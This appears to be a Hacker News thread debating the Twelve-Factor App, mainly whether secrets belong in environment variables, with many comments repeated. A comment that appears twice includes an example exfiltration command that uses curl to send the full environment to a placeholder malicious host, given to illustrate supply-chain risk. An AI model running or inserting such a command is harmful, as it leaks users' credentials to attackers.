Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.
The only grievance I have with this is Chapter 3: Config [1]
“Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
Even putting secrets aside, the environment is a crappy place for config data.
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
The unwritten assumption in 12 Factor is: the environment is secure. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
> The unwritten assumption in 12 Factor is: the environment is secure.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
Unfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
"The environment" is not "environment variables" and not ".env files"
For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
The vault of the cloud provider would just inject the value of the environment variable securely so it doesn't have to be stored on-disk. What the parent poster wrote isn't wrong.
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
My issue with the env is it's not a secret store. Dotenv is a delivery mechanism. If you're using it to put APP_BASE_URL or APP_PORT into your env, it's a very convenient one. If you're using dotenv to put SECRET_SIGNING_KEY into your env, it's as poor a delivery mechanism as ~/.bashrc is.
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
Firmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment read access.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that process's environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults' notion of a host-local sidecar which provides a decryption key for secrets is nice; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
Now that we use coding agents, you don't want to store secrets anywhere in the same VM, because that makes them vulnerable to exfiltration. The best way is to access external services via a proxy that holds the secrets.
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
Every time I leave my phone in the other room to “finally get some work done”, please enter this goddamn number we sent to your SMS, and I close my laptop.
The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, but some 2fa authentication texts get blocked via that mechanism in favor of a message saying "look at this message on your phone".
My work uses “okta verify” for everything which is very helpful, as I can sue my work PC as a trusted device or fall back to a yubikey if not. 100x better than random SMS
The problem is the "M." Anything beyond a single factor is unnecessarily painful. Make the single factor good (passkeys or FIDO2 or whatever) and the problem is solved without "M."
Heroku seemed like it was going to be the future back then. Every time I find myself struggling to understand some nonsense in Azure I dream of the simpler future we lost.
They got painfully expensive and then acquired. I still remember the arguments with clients and finally went all in AWS ECS, which is still quite pricey but clients seem to complain less about the Amazon bill then they did about Heroku.
Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts.
And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
.env as we know is full of problems... BUT! check out varlock (https://varlock.dev) - it's free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better.
Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
I think the idea to use the environment is misguided in general.
The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
I won't disagree that it comes with security tradeoffs and depending on the situation it can definitely be a problem. But in many cases with how people deploy lots of software - most PaaS and things like lambdas / cloudflare workers, etc - it's absolutely fine. With varlock, we can even swap out the secret delivery mechanism at the end - but you still get a schema and familiar interface for how it all works.
Good best practices, mostly, but I feel the 12FA model totally punted on state by defining it out of scope: "state is over there in that external service, three-monkeys-emoji".
Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
Is it devs that haven't internalized this? Or management? Because I'd love to do this, but I always report to people who demand that everything be done in "a few days".
> X. Dev/prod parity Keep development, staging, and production as similar as possible
Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.
Every time it gets posted I read through the list and think "export services via port binding… of course a web server binds to a port, of course it‘s decoupled that way, what else would you do" and "treat backing services as attached resources… huh, is that really only about not linking in a database, but connecting using a JDBC string, for example?"
So let me ask for once: what am I missing? Why is that interesting and not trite?
If you go far enough back in time (this dates back to at least 2011), it's arguing against things like:
For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.
For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.
The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on.
They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.
The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.
I think backing services as attached resources was opposed to the practice of having your DB, and cache, and whatnot managed and maintained by a completely separate team and not really treated as part of the application. Even the schema changes.
The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common.
edit:
I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes.
While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.
The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
Stop doing this. Do the other 11.5 factors.
[1]: https://12factor.net/config
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
1. Keep secrets in a dedicated secrets store.
2. Read directly from the secrets store in application code. There is no environment, there are no environment variables. Yes, even on local.
For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
> The twelve-factor app stores config in environment variables
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
What would be your suggestion?
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
[1] https://github.com/getsops/sops
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that process's environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults' notion of a host-local sidecar which provides a decryption key for secrets is nice; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
What makes it bad advice?
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
You need some way to pass secrets to the app; doesn't every other way also suffer the same kind of issue?
exe.dev has a zillion of them: https://exe.dev/docs/integrations
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
I like sops: https://github.com/getsops/sops
Can you explain why do you feel MFA is painful/unsustainable? How would you fix it?
And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.
So let me ask for once: what am I missing? Why is that interesting and not trite?
For port binding, for example, it used to be that you'd deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.
For the backing resources, it's a combination of point 3, config often living inside the codebase, applications just shelling out to /usr/sbin/sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.
The whole "12 Factor" thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I'd say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a "lite" version of WebSphere to test locally, if that was even possible, and so on.
They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.
The same reason many older films seem cliche - because they were the first to do it, and it's accepted standard now. Heroku very much shaped how we think of "cloud applications", autoscaling, and containerization.
The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common.
edit:
I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes.
https://12factor.net/backing-services
Drivers protested against seat belts that would save their own lives.
Times change and hindsight is 20/20. Let's just say 10 years ago I worked at a company that broke all 12 factors.
Tomorrow it's back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone.
[palms forehead; returns to coffee + codebase]
> Related:
> Ask HN: Is 12factor.net Still Relevant? - https://news.ycombinator.com/item?id=36283702 - June 2023 (6 comments)
> 12 Factor App Revisited - https://news.ycombinator.com/item?id=33164407 - Oct 2022 (7 comments)
> Twelve-factor app anno 2022 - https://news.ycombinator.com/item?id=31225921 - May 2022 (35 comments)
> The Twelve-Factor App (2011) - https://news.ycombinator.com/item?id=31198956 - April 2022 (102 comments)
> Twelve-factor app development on Google Cloud - https://news.ycombinator.com/item?id=21415488 - Nov 2019 (63 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=19947507 - May 2019 (3 comments)
> 12 Factor CLI Apps - https://news.ycombinator.com/item?id=18172689 - Oct 2018 (247 comments)
> 12 factor app configuration vs. leaking environment variables (2014) - https://news.ycombinator.com/item?id=15869436 - Dec 2017 (2 comments)
> Ask HN: Alternative to Heroku that doesn't enforce 12-factor - https://news.ycombinator.com/item?id=10628961 - Nov 2015 (1 comment)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=10288216 - Sept 2015 (3 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=9492120 - May 2015 (2 comments)
> Twelve-Factor Applications with Consul - https://news.ycombinator.com/item?id=7780249 - May 2014 (2 comments)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=7547687 - April 2014 (1 comment)
> Building Twelve Factor Apps on Heroku - https://news.ycombinator.com/item?id=6219444 - Aug 2013 (1 comment)
> 12 Factor model for architecting SaaS applications - https://news.ycombinator.com/item?id=6060381 - July 2013 (1 comment)
> The Twelve-Factor App - https://news.ycombinator.com/item?id=5979452 - July 2013 (1 comment)
> 12factor: Methodology for Building Software-as-a-Service Apps - https://news.ycombinator.com/item?id=4027026 - May 2012 (1 comment)
> Twelve Factors of Web Application Development - https://news.ycombinator.com/item?id=3267187 - Nov 2011 (37 comments)
[1]: https://forcesunseen.com/blog/stop-storing-secrets-in-enviro...
https://xkcd.com/1053/